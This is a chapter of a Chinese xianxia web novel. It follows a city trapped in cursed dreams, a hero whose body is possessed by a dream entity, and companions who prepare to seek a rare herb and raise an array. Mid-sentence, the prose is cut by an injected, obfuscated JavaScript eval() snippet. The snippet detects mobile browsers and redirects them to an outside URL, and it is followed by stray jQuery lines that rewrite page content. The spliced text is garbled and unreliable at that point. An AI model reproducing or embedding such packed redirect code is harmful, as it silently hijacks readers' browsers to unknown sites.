43. chapter.43逢春
作品:《天命便是我这般女子》 细碎的光洒落大地,清晨的薄雾还未散去,而昙城一时不知夜中何梦留人,还未有特别的反应。
等到他们发现时,已日上三竿,沉梦不醒之人占了大半个昙城,还都是曾被春望所掳去的人。
一时间,恐慌在城中蔓延,无数人求到章家门前,想通过章家联系绝音楼解决。
可当绝音楼弟子来后,却迟迟未有转机。
直至暮色落下,夜灯也未曾灭去,人人自危,不敢入眠,唯恐久困迷梦不醒。
不会再有人陷进这场妄洲的噩梦了。
钟离既白坐在昙城最高的酒楼屋檐上,垂眸看着万家灯火。
或者说,他的身体坐在屋檐上,而他,困在自己的躯体里。
多好笑。
有一天居然会将自己的身体视为囚牢?可这已经是禁锢他自由的囚牢了。一切都事与愿违。
他本想全部托盘而出,再不济只要杀死他,一切就能结束了吧?可他的身体已经不完全是自己的了。
强行嵌入他灵魂深处的另一个念头夺取了他对身体的主导权。
他还能看见,可他没办法改变这一切。
梦就是冬愿的能力,当时强行寄生于他,也便是在梦境中。
这些沉梦之人会看见什么,他想,他已经身为先行者见证过。
许久前,在章流漪还不是绝音楼楼主的时候,有一个关于妄洲的,不可言说的计划,便是关于血气。
一切早已埋下伏笔。
人终于开始为自己的所为付出代价。
钟离既白明白,甚至理解,妄洲灵为何会这样做,为何要将所有人都划进“该死”的行列。
无非是祂的痛苦,源自杀戮本身。
而这些杀戮,大多出自人。
紫极洲便是一个很好的例子,仙界与王权的交织微乎其微,非邪祟作乱百闻宗不出人去凡界解决。
可国与国间的战争亦是血气诞生的契机。
不无辜,都不无辜。
钟离既白看着不灭明灯,默叹一声。
可是谁让他是人呢?
他也是人,他的立场只会是人,他绝无可能背叛自己的种族。
“小白,你说,他们现在开心吗?”他的身体开口了,出来的却是清脆的女童音,“他们在梦里开心吗?”
钟离既白没有回应。
冬愿也不在乎他是否有回音,自顾自继续往下说,两手托腮:“应该不开心吧,怎么想都不可能开心的。”
“这就对啦~”
这就对了。
阿愿也是这样,在无数折磨中苟延残喘,被一条一条无形的准则束缚,被迫承受世间所有痛苦。
祂就是这样痛的。
他们也合该一起痛。
“怎么不说话呢?我说的不对吗?我说的是对的哦~”冬愿一笑,“他们真的什么都没做吗?还是做而不自知呢?”
“我没有春望那么残忍的,春望一直在做伤敌一千自损八百的事,是这样说的吧?那我只是让他们见到真相而已,我不想要他们死哦。”
她的声音突然放缓,放轻:“他们疼了,我也会疼的,我不想再这样疼了。”
*
确定钟离既白的行踪,是在又一个日落时。
通过钟离既白赠予楚惊鸿的发簪,终于找到了他身处何方……就是,那副身体里的可怕存在,不知会不会影响到他本身。
楚予思看见那红芍发簪时还愣了一下,茫然问道:“姐,他送你簪子干什么?”
楚惊鸿瞥他一眼:“给我的二百岁生辰礼啊,你有意见吗?你走之后,我还有什么可以一起过生日的人吗?”
楚予思矢口否认:“没有,绝对没有意见。就是有点惊讶而已,你们关系这么好是我没想到的。”
关系若是不好,也不用谈什么红线引了。
情不知何处所起,再怎么迷茫也不得不承认,情是存在的。
或许楚惊鸿和钟离既白都意识不到,他们的习以为常在他人眼中多惊奇。
就比如,钟离既白这种说话不好听,性格不怎么样的人,居然会把自己的宗门令牌相赠,从此楚惊鸿进得了百闻宗所有地方。
再比如,楚惊鸿对钟离既白的在意程度也是不可比拟的。永远不离开的承诺对她来说,太重要了。
重要到看自己的心意都要迷茫,不知是执念还是心向往之。
“二百岁生辰礼啊……”棠溪迟若有所思,伸手戳了一下即墨逾,“玉玉,等我二百岁你会给我生辰礼吗?”
即墨逾:“如果你想要,今年就可以。”
棠溪迟可惜道:“哎呀,可惜我今年的生辰已经过去了,看来要等明年喽?”
“嗯。”即墨逾点头,“明年送。”
一旁的姜涟清感觉有点魔幻了:“这是什么意思,你今年几岁?”
“什么?”棠溪迟转头,浅笑未消,“我今年一百三十六啊。”
一百三十六岁的化神期。
姜涟清:“……”
她现在有点认同章窈漪的话了,这人的天赋太变态了吧?
楚逢生就没那么淡定了,眼睛瞪得像铃铛:“啊?我是耳朵聋了吗?”
棠溪迟:“没有,我今年就这么大。”
楚逢生:“……”他想和这些凭天赋就扶摇直上的人拼了。
少年天才啊……
如此得天道眷顾之人,在七年后却……要不说命运弄人呢?
“对了,既然确定了钟离既白的位置,你们是现在就要出发吗?”姜涟清很想快点知道这一切要如何解决。
即墨逾回话说:“还要晚点,我会和小夕去一趟妄洲,等我们回来,再带上云蘅草去找他,至于这期间要是发生了什么……”
他一顿,眉头一皱。
“楚小姐,楚医师,就要靠你们和章楼主了。”
“不会很慢的,以我们的速度,大概就是一天一夜的事,我们马上就走,明天夜里,各位昙城见。”棠溪迟。
不过一想到自己先前说要带着这两个现世之人去寻真相,棠溪迟算是知道什么叫搬起石头砸自己的脚了。
但说到的事情,他会做到的。
“至于二位。”他的眼神在姜涟清与楚逢生二人间流连,“也一并跟着我走吧。”
“我答应过你们,会带着你们找到真相,那这一环便一定跳不过。”
姜涟清:“你们要去妄洲做什么?”
棠溪迟弯唇:“去起一个阵,这个阵只有玉玉能起。”
器修,灵修,现在又有起阵一说。
即墨逾的实力还真是深不可测。
姜涟清微微垂眸。
她再度清晰感受到了,这些前人的天赋到底恐怖到了什么地步。并非她妄自菲薄,她一直很清楚地知道自己的天赋不是修仙界顶层。
即便如此,她也还是想走一遭,为这苍生走一遭。
师尊与师兄们便是这样教她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192042|178306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的。
无情道修者是最公平的判官,她既有了分辨是非之能,便不会止步不前,不问世事。
“现在就出发吗?”她问。
楚逢生余光一直聚焦在姜涟清身上,她的反应他再熟悉不过了。
他所仰慕的救世主,之所以成了救世主,并不在于天赋如何,而是心性如此。
果然,见到她本人,他会更喜欢。
于史书文字中窥见其容,为之旅途震撼,为之所为惊叹。只是文字便足以引他倾心。
他现在非常确定一件事,他心悦她。
少时钦佩的少女此刻就在身侧,再没有比这更梦幻的旅程了。
*
待人走后,韶华阁便只剩下了楚家姐弟。
烛火已经点燃,今晚谁都没有休息的欲望。
他们二人离别已有二百年之久,这会是二百年以来第一次彻夜促膝长谈。
“小四,所以枯木逢春,要怎么得到?”
楚予思当时并未直接给出确切答案,而是只回应了这不是个问题。
再接下来便是章流漪启程昙城,即墨逾索要发簪定位钟离既白。
楚予思莫名其妙地看她一眼:“你在和九洲第一云蘅草大户说什么啊?”
楚惊鸿:“?”
云蘅草是什么东西?
这么想,她也便这么问了:“云蘅草是什么意思?”
“我给它起的名字啊?这么多年来只有我在雪凇谷出入自如,我去一次雪凇谷采到的云蘅草抵初日洲一个春天。”
“我给这东西起个绰号怎么了?”楚予思无所谓地耸耸肩,即刻从怀里掏出自己的小药匣子,“轻的和云似的,不知道的以为云上洲的云掉下来了,这草还有种杜蘅的味道。”
他将药匣子打开,递给楚惊鸿。
里面摆着不知其数的灵草,其中那通体洁白,茎叶脉络染上青色,花状形似玫瑰的白色花尤其显眼。
楚予思:“你拿出来看看好了,我说的一点都没错。”
楚惊鸿从药匣里取出云蘅草,细嗅白花,果真闻到一股与杜蘅相似的气味,重量也几乎可以说是没有。
轻盈如浮云,幽香如杜蘅。
若将其名取为云蘅,倒也贴切。
“我还以为你有什么大事要拜托给我,结果就是一云蘅草,这有什么难的?一点都不难。”
楚惊鸿:“……”
雪凇谷是初日洲唯一一个常年飘雪之地,枯木逢春生长的峭崖更是有风雪笼罩,极难攀爬。
“姐我和你说,要是别人问我要,我肯定出个天价赚一笔,不然亏死了……我这些年就是靠这些活过来的,但可惜我没什么花钱天赋……”
不过……
“要不我把灵石给你,你效仿一下咱爹娘生前,去开个店,或者开个酒楼什么的?灵石肯定是不嫌多的。我是没有咱爹娘的经商天赋,但说不定姐你可以呢?你小时候算盘玩这么厉害……”
不过,她怎么忘了,她这个弟弟不是一般聒噪。
“能不能让我说点!”楚惊鸿一拍木桌,“两百年了难道很有人理你吗?话怎么还是这么多?”
楚予思的声音一下子变弱:“那……那确实没有很多人理我……”
“我这不是只对着你啰嗦吗姐?”
“你是我唯一的亲人。”
楚惊鸿:“我也只有你一个亲人了。”
所以,一定要安好。
起码要安好。